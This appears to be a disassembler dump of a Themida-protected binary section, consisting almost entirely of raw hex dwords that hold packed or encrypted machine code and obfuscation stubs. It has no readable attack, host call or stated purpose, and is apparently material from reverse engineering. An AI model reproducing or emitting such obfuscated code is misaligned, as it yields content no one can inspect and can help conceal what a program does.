dd 4F4225A8h, 0CC452A62h, 9B2149E8h, 0CA902047h, 91103AFh
dd 0EE68AAF6h, 0EE56A2ABh, 0CA0934ABh, 9D562AFh, 50C90EE7h
dd 0A2D09CA0h, 31616082h, 0C8CB2CF9h, 9D2423AFh, 0FE937CF1h
dd 0E75A748Bh, 7F7BD6D5h, 0CC452E36h, 227223C5h, 0CA9023ACh
dd 918B788Fh, 0CE007F26h, 0CE36672Eh, 0CA0923B8h, 104770ECh
dd 4136CB1Eh, 0CD09823Ah, 0F215AEA9h, 0A04E29DFh, 0C9CC72AFh
dd 0EA1223AFh, 4350E0F6h, 4B8007E3h, 0D64607EBh, 8B2123AFh
dd 222AE0FEh, 0F4769718h, 3276F3AFh, 5F9BF350h, 0CC0E0592h
dd 0E1A5A626h, 0CA2825A8h, 0CA22CBFAh, 97B023AFh, 0A6C17E6Ch
dd 8EA5278Bh, 0CA07278Bh, 9F4C23AFh, 7352726Ch, 0EB2F9A09h
dd 0C3ECA669h, 0A0D725A8h, 0C9A071AFh, 0EA2423AFh, 4348E0F5h
dd 4B0D07FBh, 0DE8007EBh, 884223AFh, 7F81E0FDh, 786C4BEFh
dd 0C2A08865h, 7C2423AFh, 0A5854EA2h, 0AA5FD7E9h, 0B1C999C9h
dd 0CA42A0A0h, 954023AFh, 6BB4172Eh, 0AC492421h, 7FDBD924h
dd 0CC152E36h, 0BA31A622h, 0CAEE25A5h, 0CA41CBFAh, 970123AFh
dd 0A6197E6Ch, 8EC9278Bh, 0CA38278Bh, 9F5723AFh, 0DA4F706Ch
dd 533D9B81h, 5FC908CBh, 0CC2609D6h, 356E94A0h, 556D9C7Fh
dd 4FAD78EBh, 0CC1523E6h, 225B23C5h, 0CA8423ACh, 9081798Fh
dd 0CE057726h, 0CEB4672Eh, 0CA4823B8h, 0ACE771EDh, 7392E8C3h
dd 8C0BD5F4h, 1A7BF325h, 0DAE09CC9h, 0E1ECA626h, 4F9F25A8h
dd 0CA4823A9h, 0CA24A1A0h, 8AA023AFh, 0ACD1AFC9h, 0A4DAE92Eh
dd 0CE6679F8h, 0D43CB686h, 0A9A25A8h, 0C90EA7A0h, 3DA523AFh
dd 0CC3A07BFh, 0C3C4A669h
dd 22CB25A8h, 0CA4223A1h, 0FECF4DE9h, 68084EDBh, 9998BA3h
dd 1CA44FFFh, 7D1D7CF5h, 87FE4B58h, 0D86CBE7Ah, 0FC4223AFh
dd 836323EFh, 0ED3A3577h, 1631DE70h, 434E23F7h, 0C5407306h
dd 0CA822C9Eh, 908423AFh, 0FEC37DF7h, 9F00108Bh, 230DAA8Dh
dd 354E24A8h, 0CD29BA1Ah, 981249A9h, 0CA092047h, 9DE03AFh
dd 0EE16AAF5h, 0EE65A2ABh, 0CA903AABh, 91A61AFh, 2FADDD7Ch
dd 4F9F3C46h, 0CC035397h, 1A7B881Dh, 0CA422D47h, 0A8467BAFh
dd 5F57DD46h, 0A6C88257h, 0E98199F2h, 0CD121222h, 0A8A7DA9h
dd 1F31208Bh, 434424AAh, 0CD28DA2Ah, 9A9049A9h, 0CA482047h
dd 97C03AFh, 0EE56AAF7h, 0EE4DA2ABh, 0CA843FABh, 91263AFh
dd 60B2BA21h, 2B097F3Dh, 0C7C72C17h, 222423AFh, 0CA1223A8h
dd 2C87DEFDh, 95FC6248h, 0E18FA624h, 0CCC825A8h, 9C9023AFh
dd 0F64DCB57h, 83B9A889h, 0A01424AFh, 0C9E171AFh, 0EA8423AFh
dd 4318E0F5h, 4B2507FBh, 0DD9407EBh, 884823AFh, 7D3EE0FDh
dd 0CFFBE359h, 6E0923AFh, 0BC480EF4h, 0C3F7A8FFh, 9027248Fh
dd 0CA83CAECh, 0DBDB23AFh, 0F7AAE1EEh, 0C9D8BA08h, 0DEBB425Ah
dd 0F2DA319Ah, 4359A838h, 0CD346A1Ah, 0A08BA8A9h, 0C9A071AFh
dd 0EA2423AFh, 4348E0F5h, 4B0D07FBh, 0D18007EBh, 884223AFh
dd 25D2E0FDh, 0AE6154DCh, 0D1C34CACh, 1ED2A2C9h, 0A0CA100Eh
dd 0C9E170AFh, 0EA8423AFh, 4319E0F4h, 4B2507F3h, 0D39407EBh
dd 894823AFh, 0B72FE0FCh, 0AD14BA14h, 3794AA56h, 0A08224B5h
dd 0C9AA71AFh, 0EA2123AFh, 43CAE0F5h, 4B4C07FBh, 0D22007EBh
dd 881223AFh, 0B674E0FDh, 0E3DDA4EEh, 0CD4C2E2Ah, 7A4E5A9h
dd 8D9624A6h, 221A23C5h, 0CA2423ACh, 90D1798Fh, 0CE2D7726h
dd 0CEA0672Eh, 0CA4223B6h, 0A7E271EDh, 740468E0h, 0EFFDAAC2h
dd 0AA2224A5h, 23D0A8C9h, 0CA0923A6h, 3AE442BCh, 6F1729AEh
dd 8D49426Ah, 0AC6A1554h, 0FEC9D224h, 2202CD8Bh, 7FEDDBE2h
dd 0CC0E2E36h, 0CC41B624h, 474B25A8h, 0CC260FFAh, 0BAA8A622h
dd 0C2A125A5h, 8E2423AFh, 0EED43D3Eh, 35256929h, 9B84497Fh
dd 0CA422047h, 97803AFh, 0EEDCAAF6h, 0EE0CA2ABh, 0CA243EABh
dd 94362AFh, 0E82C7959h, 24CF3AA7h, 5FC9E1E0h, 0CC263D9Eh
dd 0D5E1A626h, 0CA2225A8h, 0CA27CBFAh, 973223AFh, 0A6807E6Ch
dd 8E05278Bh, 0CA5A278Bh, 9F6423AFh, 1FF2F86Ch, 0D9A1C1B1h
dd 0AD2423AFh, 49947CE7h, 93E69AA9h, 53CF4106h, 34A6BFD9h
dd 77AA803Bh, 0CC970FD6h, 9C4849EFh, 0CA242047h, 94C03AFh
dd 0EE7DAAF1h, 0EEC0A2ABh, 0CA4239ABh, 97765AFh, 7276EAA6h
dd 415121AEh, 0CA21CBAFh, 443223AFh, 9531FE1Ch, 4F0D2324h
dd 0CC450BBEh, 227423C5h, 0CA9023ACh, 978B7E8Fh, 0CE004F26h
dd 0CE36672Eh, 0CA0923B3h, 2C4776EAh, 0CC7F84FEh, 98C80DECh
dd 0CA917E46h, 9C4849AFh, 0CA242047h, 94C03AFh, 0EE7DAAF1h
dd 0EEC0A2ABh, 0CA423BABh, 97765AFh, 0E21E6430h, 95579CAEh
dd 47AD3229h, 0CC1501AEh, 67F0A622h, 401425A5h, 4F4D735Ch
dd 0CA2123ADh, 0A000D424h, 0C9A074AFh, 0EA2423AFh, 434DE0F0h
dd 4B0D07D3h, 0D38007EBh, 8D4223AFh, 0CEABE0F8h, 43594128h
dd 0CA4EAFA0h, 77AD23AFh, 0CC150592h, 0C51CB650h, 0CAEE25A8h
dd 0CA41CBFEh, 930123AFh, 86197A6Ch, 8EC9278Bh, 0CA32278Bh
dd 9B5323AFh, 4BDED36Ch, 0E1A1B626h, 57CF25A8h, 0CC2B8E50h
dd 0C23DA6AEh, 401825A8h, 0EE38AA60h, 0CEE39E24h, 0C59925A8h
dd 0CA84202Ah, 30C945AFh, 0CFC974FFh, 689023AFh, 0BA7BAA2Bh
dd 0CA24ABA0h, 904B23AFh, 9909493Fh, 0CA842047h, 91903AFh
dd 0EE7DAAF4h, 0EED4A2ABh, 0CA4838ABh, 97760AFh, 0CDAA9F99h
dd 0C8379387h, 0CA81AAA0h, 0A9F823AFh, 357D87A8h, 0CD9D9E3Ah
dd 0CA5BCBA9h, 756823AFh, 461F4C6Bh, 75199E00h, 0EDAAFAD7h
dd 37CBAECh, 0DB94AA32h, 9496248Fh, 0C3B1A626h, 0CA4E25A8h
dd 0CA11CBFAh, 972923AFh, 0A60D7E6Ch, 8EC3278Bh, 0CA34278Bh
dd 9FD523AFh, 2234686Ch, 0CA2423A6h, 0FE68A035h, 92896ECFh
dd 8331AACBh, 95442489h, 0CAB89E24h, 4F5625A8h, 0CC4F2A62h
dd 9C2449FCh, 0CA122047h, 95703AFh, 0EEF0AAF1h, 0EE06A2ABh
dd 0CA2138ABh, 9C665AFh, 0E10060E7h, 757607BDh, 0CF5BBE26h
dd 0A06125A8h, 747DAF1Dh, 0E01EE360h, 0DF05172Eh, 0F9C32899h
dd 0CD50D63Ah, 0CA29CAA9h, 7C8F23AFh, 0E45603C8h, 8993C62h
dd 35EABEFDh, 0CD2CBA1Ah, 0CA82CBA9h, 0AF4323AFh, 0BEA95FDh
dd 85AA171Dh, 460EEF43h, 5F8BFC06h, 0CA423046h, 23995DAFh
dd 0CFE623DBh, 0E6859E15h, 547737BFh, 0D5BAD989h, 0F28CAEF1h
dd 0A08229DFh, 0C9AA73AFh, 0EA2123AFh, 43C8E0F7h, 4B4C07EBh
dd 0DE2007EBh, 8A1223AFh, 41E0E0FFh, 0CD8CDE12h, 4192DCA9h
dd 0CD24361Ah, 5B15AAA9h, 0C4E24A8h, 0CD2DEE2Ah, 3C9364A9h
dd 0F6CEBE92h, 4D87B8C7h, 0F6699D3Ah, 0FEA037EEh, 3F86288Bh
dd 9F48499Bh, 0CA242047h, 94F03AFh, 0EE65AAF2h, 0EEC0A2ABh
dd 0CA4239ABh, 97466AFh, 161BCC54h, 35DE19DDh, 0CD29BA1Ah
dd 0CFA7A8A9h, 470F24A0h, 0C0F41B2Ah, 9D4249A9h, 0CA212047h
dd 9CF03AFh, 0EE34AAF0h, 0EE60A2ABh, 0CA1239ABh, 95E64AFh
dd 0E846EE0Ch, 351DCC20h, 752E437Fh, 9117168h, 0BBA7AF44h
dd 4FAD42F0h, 0CC1521FEh, 225E23C5h, 0CA8423ACh, 95817C8Fh
dd 0CE055F26h, 0CEB4672Eh, 0CA4823B3h, 36E774E8h, 0DED7F5C8h
dd 5CCD6B19h, 6F190ACFh, 754424AFh, 96910FDDh, 715E5CEh
dd 994E24A6h, 7C8FC12Eh, 0CEFA40C5h, 5A0923AFh, 991D1AF0h
dd 0CDAA73F1h, 672123AFh, 0F150B6F0h, 7A284962h, 417E420Ah
dd 0AC1607EBh, 0CA82E824h, 0CA842D46h, 261C3DAFh, 1124B242h
dd 0EDEB372h, 43E75C63h, 702007EBh, 0DFF1138Dh, 9B0949F7h
dd 0CA842047h, 91B03AFh, 0EE6DAAF6h, 0EED4A2ABh, 0CA4837ABh
dd 97562AFh, 7FEDDFBDh, 0CC0E2E36h, 22D623C5h, 0CA4223ACh
dd 90E2798Fh, 0CEB47726h, 0CE6C672Eh, 0CA2423B6h, 0A1D171EDh
dd 0AEFB1A2Dh, 0A33910A5h, 4744248Fh, 0C0511B2Ah, 35272CA9h
dd 412EF350h, 93A1AA78h, 231424B7h, 0CA0923A8h, 39289E7Ch
dd 0C38995Fh, 0CD28EE2Ah, 0CAFA74A9h, 0CA4BCBF8h, 950423AFh
dd 0B69B7C6Ch, 8E88278Bh, 0CA92278Bh, 9D0523AFh, 0A354F16Ch
dd 0CE78001Ah, 0CC4823AFh, 41B427FDh, 0D8FB735Dh, 840923AFh
dd 0ADD0740h, 4644FF70h, 0D6288A31h, 0DB768319h, 0EE0CA8B1h
dd 41EEA9ABh, 0ECAD45AFh, 0EE4DAACFh, 9CD673ABh, 0C51B42CFh
dd 0A9F459Eh, 92C879FEh, 221B23C5h, 0CA2423ACh, 91D1788Fh
dd 0CE2D7F26h, 0CEA0672Eh, 0CA4223B2h, 0E7E270ECh, 0B0731B25h
dd 0CB82C3Bh, 1FB1AAB9h, 0C5142485h, 0CA093527h, 0C36D43AFh
dd 134223AFh, 0C6C599BDh, 0C18A9605h, 0E139AE24h, 0AC4525A8h
dd 354B1E15h, 0CD04BA1Ah, 9F8449A9h, 0CA422047h, 97C03AFh
dd 0EEFCAAF2h, 0EE0CA2ABh, 0CA243FABh, 94766AFh, 76332327h
dd 4171EE73h, 0F7CFA86Dh, 472724BDh, 0C0E01B2Ah, 9C4849A9h
dd 0CA242047h, 94C03AFh, 0EE7DAAF1h, 0EEC0A2ABh, 0CA4235ABh
dd 97765AFh, 4A960903h, 77C34349h, 0CC232C02h, 0CA78F350h
dd 0CA0ACBFAh, 97A423AFh, 0A6CB7E6Ch, 8EA0278Bh, 0CA86278Bh
dd 9F0D23AFh, 40A5ED6Ch, 0D27FA686h, 4F8025A8h, 0CC830826h
dd 221223C5h, 0CA2123ACh, 92537B8Fh, 0CE6C6726h, 0CE00672Eh
dd 0CA1223B5h, 3ACA73EFh
dd 3FD5E7F6h, 7FCB3CA8h, 0CC26203Eh, 0C35DA669h, 0A00B25A8h
dd 0C9CC71AFh, 0EA1223AFh, 4353E0F5h, 4B8007FBh, 0D74607EBh
dd 882123AFh, 7614E0FDh, 7CBED649h, 9BBA67A5h, 0CEFAF325h
dd 0E20923AFh, 9A38B3DFh, 93399C9h, 0CE056724h, 98C02324h
dd 0FB4771FFh, 275A3315h, 0C54A79DBh, 0CA0CCA9Eh, 8B5323AFh
dd 9066CAE7h, 0EE65AAF7h, 9D2A45ABh, 0CA227B8Eh, 0CA27CBFCh
dd 913223AFh, 9680786Ch, 8E05278Bh, 0CA59278Bh, 996223AFh
dd 98A5776Ch, 68114589h, 6B99106Ch, 41142487h, 0CD01C63Ah
dd 5331DCA9h, 0AC4424A2h, 4FACF024h, 0CC9A5397h, 221E23C5h
dd 0CA2423ACh, 94D17D8Fh, 0CE2D5726h, 0CEA0672Eh, 0CA4223B5h
dd 51E275E9h, 821759E3h, 1AB7BB50h, 0C9E9BE9Eh, 4F9B25A8h
dd 0CC0E2442h, 22D723C5h, 0CA4223ACh, 91E2788Fh, 0CEB47F26h
dd 0CE6C672Eh, 0CA2423B7h, 0E7D170ECh, 0DFF0164Ah, 0CA842E46h
dd 9BE46AAFh, 8AE5E148h, 0A0C1B021h, 4FC5A90Fh, 0CC2E8E40h
dd 224223C5h, 0CA0923ACh, 92477B8Fh, 0CE666726h, 0CE05672Eh
dd 0CA9023BAh, 0DC8B73EFh, 7FC1A34Eh, 30AD45FFh, 0EE0DAAD7h
dd 0D8559E86h, 4B2425A8h, 35C0A260h, 0CD9F363Ah, 9C4849A9h
dd 0CA242047h, 94C03AFh, 0EE7DAAF1h, 0EEC0A2ABh, 0CA4237ABh
dd 97765AFh, 0A048A8D3h, 0C9A074AFh, 0EA2423AFh, 434DE0F0h
dd 4B0D07D3h, 0D28007EBh, 8D4223AFh, 59C7E0F8h, 4135ECE6h
dd 0CD661612h, 29A1AEA9h, 0A0142902h, 0C9E176AFh, 0EA8423AFh
dd 431FE0F2h, 4B2507C3h, 0D79407EBh, 8F4823AFh, 5619E0FAh
dd 826ACB7Ah, 8A1B2CE9h, 0C1E1AE24h, 0C325A8h, 0B415419Dh
dd 0D32E45FFh, 0EE4CAA49h, 0F39A453Ch, 2FAD73D7h, 5964D648h
dd 357B94A0h, 0CD4F9E3Ah, 414175A9h, 0CDBB563Ah, 0BCD22A9h
dd 0AB2224A2h, 2797AAF5h, 330F2486h, 0EA51A668h, 0CA4D25A8h
dd 0CA4B23AFh, 0CA93CBFFh, 926823AFh, 8EAD7B6Ch, 8E93278Bh
dd 0CA1E278Bh, 9AC423AFh, 0CA30F16Ch, 0AB9CAA2Bh, 35962484h
dd 0CD61CE3Ah, 43D3A8A9h, 0CD33B22Ah, 7FB42AA9h, 41822483h
dd 0CD459A2Ah, 44BCAEA9h, 4396296Fh, 77C522ECh, 0CC230DDAh
dd 0A7A9622h, 0F9B025A5h, 398423AFh, 7271C80Bh, 0CA2123AFh
dd 0C9E4E3A4h, 41483B6Dh, 992807EBh, 0CA122347h, 98878AFh
dd 0CA8423B8h, 0DA667F26h, 0DE056726h, 6AA79BF4h, 2AB72330h
dd 0CE006724h, 5F9BC350h, 0CC0E2D52h, 0F9ADB69Eh, 0A02325A8h
dd 0C9C974AFh, 0EA9023AFh, 4317E0F0h, 4B2007D3h, 0D31607EBh
dd 8D0923AFh, 240FE0F8h, 95AC7820h, 77ACEC25h, 0CC9A8E4Ch
dd 0AAFAE22h, 0FF9C25A5h, 0F98A0504h, 0CD0D262Ah, 0B4B08A9h
dd 47AA2146h, 0AFCA9037h, 0BDCC428Bh, 6F3A9DD2h, 1EE4A9EFh
dd 83155B7h, 0E983A814h, 8BA4F305h, 55006AD9h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 0AE952h, 0B1DA0000h
dd 313174E8h, 370CBF44h, 8BE9h, 51006A00h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 9CE0B491h
dd 0E99F4C2Eh, 6, 5D859856h, 0FC60AF59h, 48A0Fh, 0BB660000h
dd 61616A16h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 19h, 11C35040h, 2EB2BFFh, 820F60EBh, 2, 0B70F5856h
dd 6AC361DBh, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 19042444h, 41000000h, 0DC5BC351h, 358FE8A2h, 83F9C08Bh
dd 71ACDBDh, 9750006h, 1135BD83h, 74000607h, 8B535019h
dd 4B9B8C0h, 85890000h, 6072F81h, 0AE279D8Dh, 0D3FF0609h
dd 0BD83585Bh, 6071135h, 50177400h, 4B9B853h, 85890000h
dd 6072F81h, 0AAC89D8Dh, 0D3FF0609h, 0CE9585Bh, 84000000h
dd 0B1AB373Ch, 0D3B6E1EFh, 6A513E71h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 8BCDC357h
dd 1860FC0h, 0F5000000h, 0E9C18B40h, 14h, 0ED0E1066h, 5ED3150Bh
dd 0C7544B8Fh, 10CD591Bh, 1BABB1AFh, 4EBh, 0B70F0000h
dd 0B58B60FBh, 6072661h, 0B1858D61h, 0F060718h, 282h, 66F88B00h
dd 0F0BECE81h, 118C0F90h, 0E8000000h, 7, 7608595Ch, 661ED1BDh
dd 5EA940BEh, 0AE950h, 50090000h, 6FA035F2h, 9C3BC1E9h
dd 55006A90h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h
dd 0C3554500h, 78F3B4BAh, 6A006A2Dh, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0DAD5C351h
dd 13DEF1F1h, 0E9B58993h, 6A060712h, 0AFC78100h, 8D4ACE1Fh
dd 0AC41285h, 0F08B6606h, 6A05C083h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0F8BC353h
dd 8E0F81h, 0F8000000h, 7E950h, 15E20000h, 7C867EA4h, 24048900h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0B7C35343h
dd 383F2EE1h, 6810F7Eh, 8B000000h, 72645B5h, 1006A06h
dd 70BAD85h, 6A006A06h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 16042444h, 47000000h, 57AFC357h, 0E7816698h
dd 0B52B6649h, 6071079h, 1E3D95FFh, 6A0607h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 190424h, 53430000h, 0BFA89AC3h
dd 0FBEDA80h, 68Bh, 0ADBD8B00h, 8D060701h, 0A93D59Dh, 0FEBF0F06h
dd 6AD3FFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
dd 56460000h, 361D6BC3h, 0F61C8D0h, 0FBD33BFh, 5985FF4Fh
dd 0B06072Fh, 70DD1BDh, 7CAE906h
db 2 dup(0)
word_578BD6 dw 0E8h ; DATA XREF: Themida_:0053D36Co
dd 5D000000h, 0C41CED81h, 6A060Ah, 3E850h, 58200000h, 448958C3h
dd 44810424h, 180424h, 50400000h, 5A55F1C3h, 8166AB42h
dd 8101EED6h, 720D5BDh, 7D006h, 0BC860F00h, 6A000001h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h
dd 45000000h, 9ED3C355h, 153BA8A6h, 286274C3h, 6E9h, 6E0BE00h
dd 8B4FC7C8h, 720619Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1A04h, 0C3554500h, 47D07B1Dh, 0F305159h
dd 0B58BF1B7h, 6072315h, 100E381h, 8F0F0000h, 11h, 0CE9h
dd 0D6305200h, 0B1E86448h, 4DD3F28Eh, 0FDB0B41h, 0B285h
dd 63BD8300h, 60AC2h, 51840Fh, 6A0000h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 190424h, 57470000h, 8C8CFCC3h
dd 0F8AC2EBCh, 0AFE9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1704h, 0C3514100h, 67BFBE0h, 6E9h, 490F6300h
dd 0C774E763h, 0AC26385h, 106h, 53006A00h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 0FFF159Fh
dd 56E9B5h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1C0424h, 57470000h, 10B152C3h, 733075A3h, 0C7FC32E6h
dd 0AC26385h, 6, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1C04h, 0C3564600h, 8A11BA21h, 0A1530D14h
dd 0F0BF0F09h, 20619D8Dh, 13E80607h
db 3 dup(0)
byte_578D8B db 6Ch ; DATA XREF: Themida_:0053F8D8o
dd 0C17B0C43h, 0DC152A55h, 15A370D4h, 7276F71Bh, 8166653Ch
dd 5FAB38F6h, 0FEFF2381h, 6AFFFFh, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1B0424h, 50400000h, 8A615DC3h, 0F31248C4h
dd 7D8D899Eh, 66060701h, 6ADB8Ch, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1A0424h, 56460000h, 0FC05A8C3h, 3AD4DEF8h
dd 19BD8960h, 8B060731h, 7067195h, 95896106h, 6073235h
dd 0F04C3F6h, 3884h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1B04h, 0C3574700h, 0DBBD9022h, 0CCD36315h
dd 1E8DBD89h, 95FF0607h, 60729EDh, 1064BF50h, 48971F2h
dd 3C6E924h, 89530000h, 712C1BDh, 0B58B5E06h, 6072D0Dh
dd 6A00B0h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
dd 50400000h, 81669AC3h, 0E811E7E6h, 0Dh, 0D00D6B7Ah, 0CBFB1039h
dd 2FD59D81h, 68D0F3Fh, 89000000h, 71EF995h, 70E65F06h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0D0C35242h
dd 0AEF161D2h, 8AC03EFEh, 6A71E4h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 150424h, 55450000h, 0F78F7C3h, 6AD8B6h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
dd 39EA6C3h, 6BAh, 0E5858900h, 8B060704h, 53006AC3h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h
dd 977F4471h, 6A04E8C1h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 14042444h, 46000000h, 8973C356h, 7048D9Dh
dd 0E2F76606h, 1A31B58Bh, 0D82B0607h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 19h, 75C35747h, 57EC68F2h, 0C68166CFh
dd 6650108Ch, 1C89F98Bh, 35BD8B24h, 0FF060726h, 720D5B5h
dd 49BD8B06h, 0F060722h, 0C8Dh, 6820F00h, 33000000h, 729A5B5h
dd 6995FF06h, 6606070Dh, 0B097FCBEh, 0D516BE00h, 70E63ACEh
dd 8171E4F8h, 0E12C7FE6h, 0F613C4Bh, 23F83h, 56006A00h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h
dd 978B68E7h, 20B440Dh, 6AD8B60Fh, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 0E87BC357h
dd 8B66B7AEh, 6BAF3h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1B0424h, 53430000h, 0B2234DC3h, 32717F0Eh
dd 9E8D6h, 98AC0000h, 0E40B160Bh, 895D777Fh, 7299D8Dh
dd 95295E06h, 60700A9h, 0B70FC38Bh, 0E78166FFh, 0E8C16974h
dd 51006A04h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h
dd 0C3514100h, 6716CFE4h, 8957DDC0h, 732BDB5h, 0F7665F06h
dd 55006AE2h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h
dd 0C3554500h, 0BA518347h, 2B5F5121h, 52006AD8h, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h
dd 4235C4FDh, 29478EACh, 710ED8Dh, 6A5806h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1C0424h, 50400000h, 199D1DC3h
dd 76AE3916h, 8EBE32CBh, 2B1AED11h, 0FD880FD8h, 0E9000000h
dd 0Dh, 0E88350E0h, 87A1A9E6h, 7AB257F9h, 7B9ADh, 6A0000h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
dd 22732CC3h, 83F88B66h, 852900C1h, 6070CA1h, 860FD93Bh
dd 0B4h, 29D98C66h, 71AF5BDh, 4C1F606h, 77840Fh, 0FFF50000h
dd 729ED95h, 97BE6606h, 6A5B34h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1B0424h, 52420000h, 3EC5E0C3h, 0CE40045Dh
dd 8BF78B6Bh, 7188DBDh, 31C32B06h, 70299BDh, 8343D06h
dd 860F0000h, 2Dh, 0DC5B52Bh, 85090607h, 60729C9h, 47E9h
dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h
dd 0C3504000h, 6AC08BBBh, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 17042444h, 41000000h, 9E2DC351h, 0D5BFD5D8h
dd 66749351h, 69A7D681h, 0D88BC38Bh, 972BBF66h, 21A985C7h
dd 87DF0607h, 6A7E23h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 140424h, 53430000h, 0BD8B16C3h, 607291Dh, 8B66C08Bh
dd 0D5BD81F1h, 0D0060720h, 0F000007h, 5485h, 55006A00h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h
dd 0BD2BFE19h, 60718D9h, 20D585FFh, 6A0607h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 3792C7C3h
dd 3870C3B1h, 8BB10229h, 71101BDh, 0D5B5FF06h, 6A060720h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h
dd 41000000h, 2275C351h, 8D896060h, 6071095h, 29FD8D89h
dd 1610607h, 700E195h, 0BD8B6106h, 6071045h, 0D6995FFh
dd 0BD230607h, 6072D71h, 13B1BD8Bh, 0B8900607h, 12345678h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0FEC35141h
dd 0C2EB6B18h, 0B1B96020h, 0FE8h, 0B746C000h, 2B902052h
dd 954E63BAh, 1949E529h, 5EF6B70Fh, 1A51BD8Bh, 0BD8B0607h
dd 6071019h, 0CB489D8Dh, 77E9060Ah, 6AFFFFF8h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
dd 0D33AC353h, 2B60E075h, 7023185h, 13E906h, 7FAF0000h
dd 0C69E7368h, 0D31BF1A4h, 0A9208144h, 0D4E958EBh, 61F98BAFh
dd 880FC18Bh, 6, 1089B58Bh, 4EB0607h, 0
dd 701BD8Bh, 0F6810607h, 7C1D0F6Bh, 18B1858Dh, 0B50B0607h
dd 6070779h, 6E850h, 17C00000h, 6EC387DBh, 5EF18B66h, 6A240489h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h
dd 47000000h, 630EC357h, 7FB21A42h, 11B58B35h, 0F06070Dh
dd 687h, 21B58B00h, 6A060703h, 55006A00h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 0FEB70FE2h
dd 890F006Ah, 5, 70DEFCBFh, 77858D1Fh, 66060ACDh, 0C92FEE81h
dd 6A05C083h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1D042444h, 45000000h, 0DD21C355h, 2622632Eh, 0D631D376h
dd 7E860h, 611C0000h, 9D6A31Bh, 39B53333h, 5E060710h, 4895061h
dd 31B58B24h, 6A060700h, 6AF900h, 25B59D89h, 95FF0607h
dd 6071E3Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 18h, 62C35747h, 0AEBA7C40h, 2D719D89h, 9D8D0607h, 60A93D5h
dd 39B589h, 0B52B0607h, 6071FF9h, 6AD3FFh, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1B0424h, 50400000h, 8BA6D3C3h
dd 70987BA5h, 5985FFA7h, 6A06072Fh, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 0F562C357h
dd 8509794Ah, 6070005h, 0C744BE66h, 215DB58Bh, 6AE90607h
dd 0E800000Dh, 0
dd 81ED815Dh, 66060ACDh, 49BEEE81h, 0B7DB58Bh, 0BD810607h
dd 60720D5h, 7D0h, 103860Fh, 0BD2B0000h, 6071F81h, 9D99D8Bh
dd 6A0607h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
dd 53430000h, 7405F0C3h, 0A2655B5Ch, 25B1B58Bh, 0E3810607h
dd 100h, 2A79BD8Bh, 0DB0B0607h, 92850Fh, 6A0000h, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
dd 0C4AA35C3h, 0BD8311E8h, 60ACBF1h, 4A840F00h, 6A000000h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h
dd 40000000h, 8BD0C350h, 722BDB5h, 12E906h, 7AEC0000h
dd 9D2EAF27h, 0B87D3ACh, 0EA722CE7h, 8B4FAD12h, 36E9h
